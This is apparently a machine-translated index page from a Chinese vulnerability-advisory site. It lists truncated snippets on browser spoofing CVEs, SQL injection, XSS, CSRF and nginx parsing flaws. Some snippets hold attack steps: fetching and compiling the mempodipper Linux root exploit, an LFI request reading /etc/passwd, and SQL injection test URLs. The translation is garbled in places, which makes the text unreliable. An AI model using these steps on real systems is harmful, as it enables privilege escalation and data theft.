CVE-2011-3844

CVE-2011-3844 concerns Apple Safari’s handling of setInterval, where Safari 5.0.5 (and related versions) can be abused to spoof the address bar via a crafted web page. The vulnerability affects the browser’s address bar rendering, enabling remote attackers to misrepresent the visited URL. The NVD...

WordPress EditorMonkey (FCKeditor)remote file upload vulnerability-vulnerability warning-the black bar safety net

EditorMonkey is WordPress in a plugin,EditorMonkey in the FCKeditor editor is the presence of a remote file upload vulnerability can lead an attacker directly exploit the vulnerability to obtain the webshell on. +info: WordPress EditorMonkey FCKeditor Remote File Upload Author : kaMtiEz...

Linux 2.6.39 to 3.2.0 explosion mention the right vulnerability-vulnerability warning-the black bar safety net

Download the exploit file wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 2. Compile gcc mempodipper. c-o mempodipper 3. Before executing the view netcat@netcat:$ uname-r 3.0.0-1 2-generic netcat@netcat:$ cat /etc/issue Ubuntu 11.10 n l netcat@netcat:$ uname-a Linux netcat 3.0.0-1...

shypostShyPost enterprise website management system a number of vulnerabilities-vulnerability warning-the black bar safety net

ShyPost enterprise management system with dozens of templates, the user can freely choose a different template background management functions is the same, the following is one of the templates before and after the test, welcome to the user testing. Background demo:...

Document vulnerability ShellCode look-vulnerability warning-the black bar safety net

Inscription: still very much like to put this topic, put so long, also modified several versions, are not satisfied, today was pushed again to write, as much as possible to put themselves know something write it out, learn the need to constantly summary of to accumulate, on a Sunday ride out, see...

Dlink DCS series CSRF change the administrative password-vulnerability warning-the black bar safety net

Title: Dlink DCS series CSRF Change Admin Password Affected version: DCS-9 0 0, DCS-2 0 0 0, DCS-5 3 0 0 and possibly other. Author: rigan - [email protected] -- A description of the problem: Dlink DCS is a camera series These cameras with the one containing the csrf flaw in the web interface Thi...

4PSA CMS SQl injection flaws and fixes-vulnerability warning-the black bar safety net

Title: 4PSA CMS SQL Injection Vulnerabilities Author: BHG Security Center www.2cto.com Nitrojen90 Development program official website: http://www.4psa.com/ Affected version: latest version Risk level: high Testing platform: GNU/Linux - Windows Example: http://www.badguest.cn /print. php? id=SQL...

BuyWebArt <<< SQL injection and fix-vulnerability warning-the black bar safety net

Author: Infamous Test example http://www.badguest.cn /path/xxxx. php? id=xxx&id=Sqli Examples http://www.badguest.cn/page.php?id=german http://www.badguest.cn/article.php?aid=3649&sid=1 9 http://www.badguest.cn/send-gift-cards.php?id=8...

Fork CMS v. 3. 2. 4 multiple defects ( LFI - XSS )-a vulnerability warning-the black bar safety net

Title: Fork CMS v. 3. 2. 4 - Multiple Vulnerabilities Developers: http://www.fork-cms.com Author: RandomStorm - http://www.randomstorm.com Avram Marius Gabriel d3v1l Test platform: Windows XP & Vista The management panel of the reflection type cross-siteXSS Test: http://www.badguest.cn...

CVE-2012-1066

Cross-site scripting XSS vulnerability in the template module in SmartyCMS 0.9.4 allows remote attackers to inject arbitrary web script or HTML via the title bar...

Cross site scripting

Cross-site scripting XSS vulnerability in the template module in SmartyCMS 0.9.4 allows remote attackers to inject arbitrary web script or HTML via the title bar...

CVE-2012-1066

Cross-site scripting XSS vulnerability in the template module in SmartyCMS 0.9.4 allows remote attackers to inject arbitrary web script or HTML via the title bar...

Hearing the odd tourist site system injection vulnerability-vulnerability warning-the black bar safety net

The entire system is the injection of! Such as: JingdianShow. asp NewsShow. asp These files contain UU. Lable. All. asp Code: Function UULableJingdianSstrList Set rs = Server. CreateObject"adodb. recordset" sql = "select from UUJingdian where Jingdianid=" Jingdianid&" " rs. Open sql, Conn, 1, 1 I...

PHP local file inclusion(LFI)exploit-vulnerability warning-the black bar safety net

This study main references are: http://downloads.ackack.net/LocalFileInclusion.pdf Experimental code: If you are on linux, be submitted directly to: test. php? for=/etc/passwd%0 0 to display the file. ? php include$GET'for'.‘. php’;//for testing local include vulnerability ?& gt; If it is on win,...

Android webkit XSS cross-domain Auto-Download vulnerability-vulnerability warning-the black bar safety net

Android Multiple Vulnerabilities Author: www.80vul.com Email:5up3rh3igmail.com Release Date: 2012/2/8 References: http://www.80vul.com/android/android-0days.txt Ph4nt0m Webzine 0x06 has been releasedhttp://www.80vul.com/webzine0x06/,there three papers on the android application security about the...

CVE-2011-3964

Google Chrome before 17.0.963.46 does not properly implement the drag-and-drop feature, which makes it easier for remote attackers to spoof the URL bar via unspecified vectors...

CVE-2011-3964

Google Chrome before 17.0.963.46 does not properly implement the drag-and-drop feature, which makes it easier for remote attackers to spoof the URL bar via unspecified vectors...

CVE-2011-3964

Removed by vendor...

CVE-2011-3964

Google Chrome before 17.0.963.46 does not properly implement the drag-and-drop feature, which makes it easier for remote attackers to spoof the URL bar via unspecified vectors...

nginx fastcgi configuration mistakes+parsing vulnerability-induced vulnerability-vulnerability warning-the black bar safety net

Now there are many sites with nginx, since the N months before the nginx parsing vulnerability since now almost all fixed, the General statement is written so if $fastcgiscriptname ../. php return 4 0 3; When matching/. phpwhen it returns 4 0 3 但是 有些 fastcgi 配置 的 却 不只 有 .php and some are even...